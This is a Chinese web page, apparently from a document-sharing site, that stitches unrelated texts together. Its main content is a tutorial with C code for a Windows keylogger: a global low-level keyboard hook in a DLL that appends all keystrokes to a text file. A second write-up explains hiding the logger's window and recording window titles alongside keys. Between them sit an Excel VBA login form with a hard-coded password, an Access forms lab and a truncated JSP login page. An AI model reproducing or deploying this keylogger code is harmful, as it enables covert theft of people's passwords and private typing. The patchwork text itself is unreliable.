打造自己的键盘记录器

打造自己的键盘记录器
打造自己的键盘记录器

打造自己的键盘记录器

作者:zaroty

偶破博:https://www.360docs.net/doc/8b13781096.html,/zaroty

说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。下面就让我这小菜带大家来写属于自己的键盘记录器吧。

说道键盘记录,免不掉要说一下Windows的HOOK函数。通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。

Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信投到邮局,然后由邮递员送到你女朋友手里。但是当hook这个阴险的间谍出现时,事情就完全发生了变化。Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。

那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。

通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook 的分类以及一些具体的使用。

Hook可以分为下面几种,不同类型的钩子有着不同的作用:

WH_CALLWNDPROC

WH_CALLWNDPROCRET

WH_CBT

WH_DEBUG

WH_KEYBOARD_LL

WH_MOUSE

WH_MOUSE_LL

WH_MSGFILTER

WH_FOREGROUNDIDLE

WH_GETMESSAGE

WH_JOURNALPLAYBACK

WH_JOURNALRECORD

WH_KEYBOARD

WH_SHELL

WH_SYSMSGFILTER

这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。

这里与我们键盘记录有关系的两个钩子类型是:WH_KEYBOARD和WH_KEYBOARD_LL,这两个都是键盘钩子,他们有什么区别呢?MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage 或者PeekMessage函数并且有键盘消息(按下或者释放)的时候会调用相应的函数进行处理,WH_KEYBOARD_LL这个类型是只要有键盘输入事件的发生,它都会将键盘消息传给相应函数,而在我自己试验的时候发现WH_KEYBOARD类型的钩子只记录本程序的按键消息,对发送到其他程序的按键消息不予以响应。所以,下面我们就用WH_KEYBOARD_LL这个类型的底层键盘钩子,来记录计算机上所有的键盘输入。

下面我们看一下钩子使用:

首先我们要定义一个钩子的回调函数,这样当相应的系统消息传送给钩子的时候就会由这个回调函数进行处理。回调函数书写必须按照下面的语法:

LRESULT CALLBACK HookProc

(

int nCode,

WPARAM wParam,

LPARAM lParam

);

HookProc是你自己定义的名字。nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。

我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardProc,他的定义如下:

LRESULT CALLBACK LowLevelKeyboardProc(

int nCode, // hook code

WPARAM wParam, // message identifier

LPARAM lParam // message data

);

这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP,

WM_SYSKEYDOWN, 或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT 结构体,下面是KBDLLHOOKSTRUCT结构体的定义:

typedef struct tagKBDLLHOOKSTRUCT {

DWORD vkCode;//virtual-key

DWORD scanCode;

DWORD flags;

DWORD time;

ULONG_PTR dwExtraInfo;

} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

知道了上面的这些,我们就可以开始写我们的回调函数了:

LRESULT CALLBACK LowLevelKeyboardProc(

int nCode,

WPARAM wParam,

LPARAM lParam

)

{

KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;

LPCSTR log=GetKeyName(pStruct->vkCode);

if (wParam==WM_KEYDOWN)

{

FILE *fl=fopen("C:\\zaroty.TXT","a+");

fprintf(fl,"%s %s",log," ");

fclose(fl);

}

return CallNextHookEx( CuhHook, nCode, wParam, lParam );

}

上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:\\zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:

LRESULT CallNextHookEx(

HHOOK hhk, // 当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。

int nCode, // hook code passed to hook procedure

WPARAM wParam, // value passed to hook procedure

LPARAM lParam // value passed to hook procedure

);

这样我们的回调函数就写完了,下面要做的就是安装钩子,让我们的回调函数起到作用。这时我们就要用到了SetWindowsHookEx函数,它的原型为:

HHOOK SetWindowsHookEx(

int idHook, // 钩子类型,我们这里是WH_KEYBOARD_LL

HOOKPROC lpfn, // 钩子的回调函数,即上面的LowLevelKeyboardProc HINSTANCE hMod, // 指向调用钩子的程序的句柄,后面会讲到。

DWORD dwThreadId // thread identifier

);

按照上面的结构来安装我们自己的钩子

DLLEXPORT BOOL StartHook()

{

CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);

if (CuhHook!=NULL)

{

return 1;

}

else

{

return 0;

}

}

下面是卸载钩子的函数:

DLLEXPORT BOOL StopHook()

{

if (UnhookWindowsHookEx(CuhHook))

{

return 1;

}

else

{

return 0;

}

}

因为我们要记录所有的键盘消息,所以需要的是一个系统全局钩子,那么我们就要将所需要的钩子函数写到一个外部的DLL里面,然后由其他的应用程序调用DLL内的一些函数来实现(为什么要这么麻烦?我也不知道,微软规定的:-))。还不懂得DLL编写的朋友可以去参看一下这两篇转载的文章:

https://www.360docs.net/doc/8b13781096.html,/zaroty/blog/item/575bc6caa8832280c91768f2.html

https://www.360docs.net/doc/8b13781096.html,/zaroty/blog/item/a64366fa4586fe8f9e5146f2.html

在Excel中如何制作用户登录窗口

在Excel中如何制作用户登录窗口 1、启动Excel并打开工作表,打开VisualBasic编辑器,在工 程资源管理器中鼠标右击,选择关联菜单中的“插入”|“用户窗体”命令插入一个用户窗体。按F4键打开“属性”对话框,在"Caption"文本框中输入文字“用户登录”更改窗体标题,如图1所示。 图1创建用户窗体并设置其属性 2、从“工具箱”对话框中分别选择“文本框”控件、“标签” 控件和“命令按钮”控件,在窗体中绘制这些控件,如图2所示。 在“属性”对话框中将两个“标签”控件的"Caption"属性分别设置 为“登录名”和“登录密码”,将“命令按钮”控件的"Caption"属 性分别设置为“确定”和“取消”,如图3所示。 图2向窗体中添加控件 图3修改控件的 3、在窗体中选择第二个“文本框”控件,在“属性”对话框中将"PasswordChar"属性设置为字符“*”,如图4所示。这样,在该 文本框中输入的字符将被“*”替代。 图4更改“文本框”控件的 4、鼠标右击窗体中的“确定”按钮,选择关联菜单中的“查看 代码”命令打开“代码”窗口,此时VisualBasic编辑器将自动在“代码”窗口中为控件添加Click事件。为该按钮添加的Click事 件程序如下: PrivateSubCommandButton1_Click() IfTextBox1.Text<>"郭轶凡"Then'判断用户名是否正确 MsgBox"用户登录名错误,您无权登录!"'不正确给出提示

WithTextBox1 .SelStart=0'设置选择文字的开始字符 .SelLength=Len(TextBox1.Text)'设置选择文本的长度 .SetFocus'文本框获得焦点 EndWith ElseIfTextBox2.Text<>"abcdef"Then'如果密码错误 MsgBox"密码输入错误,请重新输入!"'给出提示 WithTextBox2 .SelStart=0'设置选择文本的开始字符 .SelLength=Len(TextBox2.Text)'设置选择文本的长度 .SetFocus'获得焦点 EndWith Else MsgBox"登录成功,欢迎你的到来!"'登录成功提示 UnloadMe'卸载窗体 EndIf EndSub 提示 在这里,程序首先判断第一个文本框的Text属性值是否为设定的用户名,如果不是则给出提示,同时使用With结构设置非常关键的SelStart属性和SelLength属性,使文本框中的文字能够高亮显示。同时,使用SetFocus方法使文本框获得焦点以方便用户更改用户名。如果输入的是设定的用户名,程序接着判断第二个文本框中

记一次键盘记录器的编写

新建win32项目 键盘记录器的思路 1.窗口消息处理的框架 一注册窗口类 MyRegisterClass 二实例化并创建窗口 InitInstance 三处理窗口消息 WndProc 2.改造窗口,让它隐藏 3.1 WM_CREATE是窗口创建函数 3.2 WM_DESTROY是窗口关闭函数 建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow); 我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE); 3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控. 那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断 在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE: …………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就

开始 //写我们所要实现的记录功能,我们称之为钩子函数。 以下为建立钩子程序 这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是 直接运行),实现这个功能,我们只要在这里调用函数即可 在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能 接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中, 注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成 extern"C"_declspec(dllexport) bool installhook(); “C”是指这是c语言代码 _declspec是一个函数 dllexport参数是动态库导出 要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下 #pragma comment(lib,"keyhook")//导入动态库 //导入动态库中的函数 //启动钩子 extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数 //关闭钩子 extern"C"_declspec(dllimport) bool uninstallhook(); 然后就开始写钩子程序 要实现以下功能 //获取用户的按键消息 用到SetWindowsHookEx函数,要包含Windows.h的头文件 SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL); 第一个参数代表的是我们要获取键盘的消息 第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam); 在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用 这个功能用如下程序来实现 LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){ char szWriteText[256]; //用来保存标题和文本 char szWindowTitle[256]; //保存标题 char szKeyText[256]; //保存文本 //并同时获取当前窗口的标题

实训12 自动创建窗体和窗体向导创建窗体

48 实训12自动创建窗体和窗体向导创建窗体 【实验目的】 1.掌握“自动创建窗体”创建窗体的方法。 2.掌握“窗体向导”创建窗体的方法。 3.能够根据具体要求,选择合适的窗体创建方法。 【实验内容】 【题1】建立一个“读者记录”窗体,如图12-1所示。数据源为“读者信息”表,窗体标题为“读者记录”。 解题分析: 从图12-1可知,窗体中的控件基本符合“纵栏式”布局,而且窗体的数据源为单一数据源,所以本题利用“窗体向导”方法是效率最高的。 操作提示: (1)单击“创建”选项卡“窗体”分组中的【向导】按钮,打开“窗体向导”对 话框,依次操作,创建基于“读者信息”表的纵栏式窗体。 (2)在窗体的“设计”视图中,对所建的窗体进行修饰。 ①调整控件的布局。 ②添加标签控件作为窗体的标题,添加直线控件作为修饰。 ③打开窗体“属性”窗口,设置相关属性如图12-2所示。 (3) 保存窗体,命名为“读者记录”。 图12-1 “读者记录”窗体图12-2 窗体的属性设置 【题2】建立一个“读者借书情况”的主/子窗体,如图12-3所示。主窗体显示读者的借书证号、姓名和部门。子窗体显示相应读者的借书情况,包括借书证号、书号、书名、借书日期和还书日期。 解题分析: 可以创建主/子窗体的方法有2种:一是对选中的数据表执行“创建”选项卡“窗体”分组中的【窗体】命令,适合用于数据源来自两个有关联的数据表;二是利用“窗体向导”

49 创建方法,适合用于数据源来自两个以上有关联的数据表。 从图12-3中可以看出,主窗体的数据源是“读者信息”表,而子窗体的数据源来自“图书信息”表和“借书登记”表,这3个数据表已在前面的实验中实施了关联,因此本题宜选用“窗体向导”方法。 图12-3 “读者借书情况”主/子窗体 操作提示: (1)利用向导创建主/子窗体,数据源为“读者信息”表、“图书信息”表和“借书登记”表。根据向导的提示,依次从3个表中选择可用字段如图12-4所示,选择显示布局如图12-5所示。 图12-4 窗体向导-选择数据源

经典登录界面制作

经典登录界面制作 声明本登录使用jsp编写,可在MyEclipse8.5等软件中执行 1.登录界面图: 2.登录代码 Login.jsp <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> <%@ taglib prefix="fmt" uri="https://www.360docs.net/doc/8b13781096.html,/jsp/jstl/fmt" %> <%@ taglib prefix="c" uri="https://www.360docs.net/doc/8b13781096.html,/jsp/jstl/core" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>